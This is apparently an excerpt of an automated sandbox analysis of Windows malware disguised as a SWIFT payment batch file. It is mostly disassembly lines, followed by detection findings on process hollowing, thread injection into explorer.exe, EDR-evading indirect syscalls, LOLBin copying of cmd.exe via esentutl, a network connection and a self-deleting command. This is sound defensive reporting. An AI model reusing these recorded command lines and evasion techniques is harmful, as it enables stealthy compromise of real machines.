          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF5A9D0 mov eax, dword ptr fs:[00000030h]11_2_1DF5A9D0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF5A9D0 mov eax, dword ptr fs:[00000030h]11_2_1DF5A9D0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF5A9D0 mov eax, dword ptr fs:[00000030h]11_2_1DF5A9D0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF5A9D0 mov eax, dword ptr fs:[00000030h]11_2_1DF5A9D0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7D9D0 mov eax, dword ptr fs:[00000030h]11_2_1DF7D9D0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7D9D0 mov eax, dword ptr fs:[00000030h]11_2_1DF7D9D0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7D9D0 mov esi, dword ptr fs:[00000030h]11_2_1DF7D9D0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7D9D0 mov eax, dword ptr fs:[00000030h]11_2_1DF7D9D0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7D9D0 mov eax, dword ptr fs:[00000030h]11_2_1DF7D9D0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7D9D0 mov eax, dword ptr fs:[00000030h]11_2_1DF7D9D0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7D9D0 mov eax, dword ptr fs:[00000030h]11_2_1DF7D9D0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7D9D0 mov eax, dword ptr fs:[00000030h]11_2_1DF7D9D0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF849D0 mov eax, dword ptr fs:[00000030h]11_2_1DF849D0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF559C0 mov eax, dword ptr fs:[00000030h]11_2_1DF559C0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF559C0 mov eax, dword ptr fs:[00000030h]11_2_1DF559C0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF559C0 mov eax, dword ptr fs:[00000030h]11_2_1DF559C0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF559C0 mov eax, dword ptr fs:[00000030h]11_2_1DF559C0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF599BE mov eax, dword ptr fs:[00000030h]11_2_1DF599BE
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFD89B3 mov esi, dword ptr fs:[00000030h]11_2_1DFD89B3
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFD89B3 mov eax, dword ptr fs:[00000030h]11_2_1DFD89B3
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFD89B3 mov eax, dword ptr fs:[00000030h]11_2_1DFD89B3
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF629A0 mov eax, dword ptr fs:[00000030h]11_2_1DF629A0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF629A0 mov eax, dword ptr fs:[00000030h]11_2_1DF629A0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF629A0 mov eax, dword ptr fs:[00000030h]11_2_1DF629A0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF629A0 mov eax, dword ptr fs:[00000030h]11_2_1DF629A0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF629A0 mov eax, dword ptr fs:[00000030h]11_2_1DF629A0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF629A0 mov eax, dword ptr fs:[00000030h]11_2_1DF629A0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF629A0 mov eax, dword ptr fs:[00000030h]11_2_1DF629A0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF629A0 mov eax, dword ptr fs:[00000030h]11_2_1DF629A0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF629A0 mov eax, dword ptr fs:[00000030h]11_2_1DF629A0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF629A0 mov eax, dword ptr fs:[00000030h]11_2_1DF629A0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF629A0 mov eax, dword ptr fs:[00000030h]11_2_1DF629A0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF629A0 mov eax, dword ptr fs:[00000030h]11_2_1DF629A0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF629A0 mov eax, dword ptr fs:[00000030h]11_2_1DF629A0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF509AD mov eax, dword ptr fs:[00000030h]11_2_1DF509AD
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF509AD mov eax, dword ptr fs:[00000030h]11_2_1DF509AD
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFFF99B mov eax, dword ptr fs:[00000030h]11_2_1DFFF99B
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFFF99B mov eax, dword ptr fs:[00000030h]11_2_1DFFF99B
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFFF99B mov eax, dword ptr fs:[00000030h]11_2_1DFFF99B
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFFF99B mov eax, dword ptr fs:[00000030h]11_2_1DFFF99B
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFFF99B mov eax, dword ptr fs:[00000030h]11_2_1DFFF99B
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFFF99B mov eax, dword ptr fs:[00000030h]11_2_1DFFF99B
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFFF99B mov ecx, dword ptr fs:[00000030h]11_2_1DFFF99B
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFFF99B mov ecx, dword ptr fs:[00000030h]11_2_1DFFF99B
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFFF99B mov eax, dword ptr fs:[00000030h]11_2_1DFFF99B
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFFF99B mov eax, dword ptr fs:[00000030h]11_2_1DFFF99B
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFFF99B mov eax, dword ptr fs:[00000030h]11_2_1DFFF99B
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFFF99B mov eax, dword ptr fs:[00000030h]11_2_1DFFF99B
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFFF99B mov eax, dword ptr fs:[00000030h]11_2_1DFFF99B
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4B991 mov eax, dword ptr fs:[00000030h]11_2_1DF4B991
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4B991 mov eax, dword ptr fs:[00000030h]11_2_1DF4B991
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFDC97C mov eax, dword ptr fs:[00000030h]11_2_1DFDC97C
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E024A80 mov eax, dword ptr fs:[00000030h]11_2_1E024A80
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E00FA87 mov eax, dword ptr fs:[00000030h]11_2_1E00FA87
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF8B970 mov eax, dword ptr fs:[00000030h]11_2_1DF8B970
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF8B970 mov eax, dword ptr fs:[00000030h]11_2_1DF8B970
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF8B970 mov eax, dword ptr fs:[00000030h]11_2_1DF8B970
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7D978 mov eax, dword ptr fs:[00000030h]11_2_1DF7D978
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF47967 mov eax, dword ptr fs:[00000030h]11_2_1DF47967
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF77962 mov eax, dword ptr fs:[00000030h]11_2_1DF77962
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF76962 mov eax, dword ptr fs:[00000030h]11_2_1DF76962
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF76962 mov eax, dword ptr fs:[00000030h]11_2_1DF76962
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF76962 mov eax, dword ptr fs:[00000030h]11_2_1DF76962
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF8196E mov eax, dword ptr fs:[00000030h]11_2_1DF8196E
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF8196E mov eax, dword ptr fs:[00000030h]11_2_1DF8196E
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF9096E mov eax, dword ptr fs:[00000030h]11_2_1DF9096E
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF9096E mov edx, dword ptr fs:[00000030h]11_2_1DF9096E
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF9096E mov eax, dword ptr fs:[00000030h]11_2_1DF9096E
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF5F950 mov eax, dword ptr fs:[00000030h]11_2_1DF5F950
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF5F950 mov eax, dword ptr fs:[00000030h]11_2_1DF5F950
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF69950 mov eax, dword ptr fs:[00000030h]11_2_1DF69950
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF69950 mov eax, dword ptr fs:[00000030h]11_2_1DF69950
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFD0946 mov eax, dword ptr fs:[00000030h]11_2_1DFD0946
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF47931 mov eax, dword ptr fs:[00000030h]11_2_1DF47931
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFD892A mov eax, dword ptr fs:[00000030h]11_2_1DFD892A
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4F910 mov eax, dword ptr fs:[00000030h]11_2_1DF4F910
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4F910 mov eax, dword ptr fs:[00000030h]11_2_1DF4F910
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4F910 mov eax, dword ptr fs:[00000030h]11_2_1DF4F910
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4F910 mov eax, dword ptr fs:[00000030h]11_2_1DF4F910
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4F910 mov eax, dword ptr fs:[00000030h]11_2_1DF4F910
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4F910 mov eax, dword ptr fs:[00000030h]11_2_1DF4F910
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4F910 mov eax, dword ptr fs:[00000030h]11_2_1DF4F910
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4F910 mov eax, dword ptr fs:[00000030h]11_2_1DF4F910
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4F910 mov eax, dword ptr fs:[00000030h]11_2_1DF4F910
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4F910 mov eax, dword ptr fs:[00000030h]11_2_1DF4F910
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4F910 mov eax, dword ptr fs:[00000030h]11_2_1DF4F910
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF48918 mov eax, dword ptr fs:[00000030h]11_2_1DF48918
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF48918 mov eax, dword ptr fs:[00000030h]11_2_1DF48918
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7B919 mov eax, dword ptr fs:[00000030h]11_2_1DF7B919
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFDC912 mov eax, dword ptr fs:[00000030h]11_2_1DFDC912
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFCE908 mov eax, dword ptr fs:[00000030h]11_2_1DFCE908
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFCE908 mov eax, dword ptr fs:[00000030h]11_2_1DFCE908
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF8C8F9 mov eax, dword ptr fs:[00000030h]11_2_1DF8C8F9
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF8C8F9 mov eax, dword ptr fs:[00000030h]11_2_1DF8C8F9
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E00FB0C mov eax, dword ptr fs:[00000030h]11_2_1E00FB0C
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF638E0 mov eax, dword ptr fs:[00000030h]11_2_1DF638E0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF638E0 mov eax, dword ptr fs:[00000030h]11_2_1DF638E0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF638E0 mov eax, dword ptr fs:[00000030h]11_2_1DF638E0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E018B28 mov eax, dword ptr fs:[00000030h]11_2_1E018B28
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E018B28 mov eax, dword ptr fs:[00000030h]11_2_1E018B28
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF578D9 mov eax, dword ptr fs:[00000030h]11_2_1DF578D9
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF578D9 mov eax, dword ptr fs:[00000030h]11_2_1DF578D9
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF538C4 mov eax, dword ptr fs:[00000030h]11_2_1DF538C4
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF538C4 mov eax, dword ptr fs:[00000030h]11_2_1DF538C4
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF538C4 mov eax, dword ptr fs:[00000030h]11_2_1DF538C4
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF538C4 mov eax, dword ptr fs:[00000030h]11_2_1DF538C4
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF538C4 mov eax, dword ptr fs:[00000030h]11_2_1DF538C4
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF538C4 mov eax, dword ptr fs:[00000030h]11_2_1DF538C4
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF538C4 mov eax, dword ptr fs:[00000030h]11_2_1DF538C4
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF7E8C0 mov eax, dword ptr fs:[00000030h]11_2_1DF7E8C0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E01AB40 mov eax, dword ptr fs:[00000030h]11_2_1E01AB40
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFDC89D mov eax, dword ptr fs:[00000030h]11_2_1DFDC89D
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF50887 mov eax, dword ptr fs:[00000030h]11_2_1DF50887
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E019B8B mov eax, dword ptr fs:[00000030h]11_2_1E019B8B
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E019B8B mov eax, dword ptr fs:[00000030h]11_2_1E019B8B
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4D878 mov eax, dword ptr fs:[00000030h]11_2_1DF4D878
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF81876 mov eax, dword ptr fs:[00000030h]11_2_1DF81876
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF81876 mov eax, dword ptr fs:[00000030h]11_2_1DF81876
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFE6870 mov eax, dword ptr fs:[00000030h]11_2_1DFE6870
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFE6870 mov eax, dword ptr fs:[00000030h]11_2_1DFE6870
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF4D860 mov eax, dword ptr fs:[00000030h]11_2_1DF4D860
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E00FB97 mov eax, dword ptr fs:[00000030h]11_2_1E00FB97
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF54859 mov eax, dword ptr fs:[00000030h]11_2_1DF54859
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF54859 mov eax, dword ptr fs:[00000030h]11_2_1DF54859
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF80854 mov eax, dword ptr fs:[00000030h]11_2_1DF80854
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF62840 mov ecx, dword ptr fs:[00000030h]11_2_1DF62840
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF91843 mov eax, dword ptr fs:[00000030h]11_2_1DF91843
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF91843 mov eax, dword ptr fs:[00000030h]11_2_1DF91843
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF91843 mov eax, dword ptr fs:[00000030h]11_2_1DF91843
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF91843 mov eax, dword ptr fs:[00000030h]11_2_1DF91843
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF91843 mov eax, dword ptr fs:[00000030h]11_2_1DF91843
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF91843 mov eax, dword ptr fs:[00000030h]11_2_1DF91843
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF72835 mov eax, dword ptr fs:[00000030h]11_2_1DF72835
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF72835 mov eax, dword ptr fs:[00000030h]11_2_1DF72835
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF72835 mov eax, dword ptr fs:[00000030h]11_2_1DF72835
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF72835 mov ecx, dword ptr fs:[00000030h]11_2_1DF72835
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF72835 mov eax, dword ptr fs:[00000030h]11_2_1DF72835
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF72835 mov eax, dword ptr fs:[00000030h]11_2_1DF72835
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF8A830 mov eax, dword ptr fs:[00000030h]11_2_1DF8A830
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF8182A mov eax, dword ptr fs:[00000030h]11_2_1DF8182A
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF83820 mov eax, dword ptr fs:[00000030h]11_2_1DF83820
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFDD820 mov ecx, dword ptr fs:[00000030h]11_2_1DFDD820
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFDD820 mov eax, dword ptr fs:[00000030h]11_2_1DFDD820
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFDD820 mov eax, dword ptr fs:[00000030h]11_2_1DFDD820
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DFDC810 mov eax, dword ptr fs:[00000030h]11_2_1DFDC810
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF79803 mov eax, dword ptr fs:[00000030h]11_2_1DF79803
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF58BF0 mov eax, dword ptr fs:[00000030h]11_2_1DF58BF0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF58BF0 mov eax, dword ptr fs:[00000030h]11_2_1DF58BF0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1DF58BF0 mov eax, dword ptr fs:[00000030h]11_2_1DF58BF0
          Source: C:\Users\Public\Libraries\joedgvvL.pifCode function: 11_2_1E00F80A mov eax, dword ptr fs:[00000030h]11_2_1E00F80A
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D1A9D4 GetEnvironmentStringsW,GetProcessHeap,RtlAllocateHeap,memcpy,FreeEnvironmentStringsW,10_2_00D1A9D4
          Source: C:\Users\Public\Libraries\joedgvvL.pifProcess token adjusted: DebugJump to behavior
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D26EC0 SetUnhandledExceptionFilter,10_2_00D26EC0
          Source: C:\Users\Public\alpha.pifCode function: 10_2_00D26B40 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,10_2_00D26B40

          HIPS / PFW / Operating System Protection Evasion

          barindex
          System process connects to network (likely due to code injection or exploit)
          Source: C:\Windows\explorer.exeNetwork Connect: 178.128.81.239 80Jump to behavior
          Allocates memory in foreign processes
          Source: C:\Users\user\AppData\Local\Temp\x.exeMemory allocated: C:\Users\Public\Libraries\joedgvvL.pif base: 400000 protect: page execute and read and writeJump to behavior
          Drops or copies cmd.exe with a different name (likely to bypass HIPS)
          Source: C:\Windows\SysWOW64\esentutl.exeFile created: C:\Users\Public\alpha.pifJump to dropped file
          Found direct / indirect Syscall (likely to bypass EDR)
          Source: C:\Users\Public\Libraries\joedgvvL.pifNtClose: Indirect: 0x1DEAA56C
          Source: C:\Users\Public\Libraries\joedgvvL.pifNtQueueApcThread: Indirect: 0x1DEAA4F2Jump to behavior
          Maps a DLL or memory area into another process
          Source: C:\Users\Public\Libraries\joedgvvL.pifSection loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and writeJump to behavior
          Source: C:\Users\Public\Libraries\joedgvvL.pifSection loaded: NULL target: C:\Windows\SysWOW64\cscript.exe protection: execute and read and writeJump to behavior
          Source: C:\Users\Public\Libraries\joedgvvL.pifSection loaded: NULL target: C:\Windows\SysWOW64\cscript.exe protection: execute and read and writeJump to behavior
          Source: C:\Windows\SysWOW64\cscript.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: read writeJump to behavior
          Source: C:\Windows\SysWOW64\cscript.exeSection loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and writeJump to behavior
          Modifies the context of a thread in another process (thread injection)
          Source: C:\Users\Public\Libraries\joedgvvL.pifThread register set: target process: 4004Jump to behavior
          Source: C:\Windows\SysWOW64\cscript.exeThread register set: target process: 4004Jump to behavior
          Queues an APC in another process (thread injection)
          Source: C:\Users\Public\Libraries\joedgvvL.pifThread APC queued: target process: C:\Windows\explorer.exeJump to behavior
          Sample uses process hollowing technique
          Source: C:\Users\user\AppData\Local\Temp\x.exeSection unmapped: C:\Users\Public\Libraries\joedgvvL.pif base address: 400000Jump to behavior
          Source: C:\Users\Public\Libraries\joedgvvL.pifSection unmapped: C:\Windows\SysWOW64\cscript.exe base address: BF0000Jump to behavior
          Writes to foreign memory regions
          Source: C:\Users\user\AppData\Local\Temp\x.exeMemory written: C:\Users\Public\Libraries\joedgvvL.pif base: 384008Jump to behavior
          Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\extrac32.exe extrac32 /y "C:\Users\user\Desktop\z1SWIFT_MT103_Payment_552016_cmd.bat" "C:\Users\user\AppData\Local\Temp\x.exe" Jump to behavior
          Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\x.exe "C:\Users\user\AppData\Local\Temp\x.exe" Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\x.exeProcess created: C:\Users\Public\Libraries\joedgvvL.pif C:\Users\Public\Libraries\joedgvvL.pifJump to behavior
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /oJump to behavior
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\ping.exe /d C:\\Users\\Public\\xpha.pif /oJump to behavior
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows " Jump to behavior
          Source: C:\Windows\SysWOW64\cscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\Public\Libraries\joedgvvL.pif"Jump to behavior
          Source: explorer.exe, 0000000C.00000000.2235952852.00000000013A1000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000C.00000002.4578970001.00000000013A0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: IProgram Manager
          Source: explorer.exe, 0000000C.00000000.2239908224.00000000048E0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2235952852.00000000013A1000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000C.00000002.4578970001.00000000013A0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Shell_TrayWnd
          Source: explorer.exe, 0000000C.00000000.2235952852.00000000013A1000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000C.00000002.4578970001.00000000013A0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
          Source: explorer.exe, 0000000C.00000002.4578501898.0000000000D60000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.2228233544.0000000000D69000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: +Progman
          Source: explorer.exe, 0000000C.00000000.2235952852.00000000013A1000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000C.00000002.4578970001.00000000013A0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
          Source: explorer.exe, 0000000C.00000000.2252872203.00000000098AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.4587065407.00000000098AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.3075011568.00000000098AD000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Shell_TrayWnd31A
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,4_2_031D5ACC
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: GetLocaleInfoA,4_2_031DA7C4
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,4_2_031D5BD8
          Source: C:\Users\user\AppData\Local\Temp\x.exeCode function: GetLocaleInfoA,4_2_031DA810
          Source: C:\Users\Public\alpha.pifCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,setlocale,10_2_00D18572
          Source: C:\Users\Public\alpha.pifCode function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,GetDateFormatW,memmove,GetDateFormatW,realloc,GetDateFormatW,memmove,GetLastError,GetLastError,realloc,10_2_00D16854
          Source: C:\Users\Public\alpha.pifCode function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetTimeFormatW,10_2_00D19310
          Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
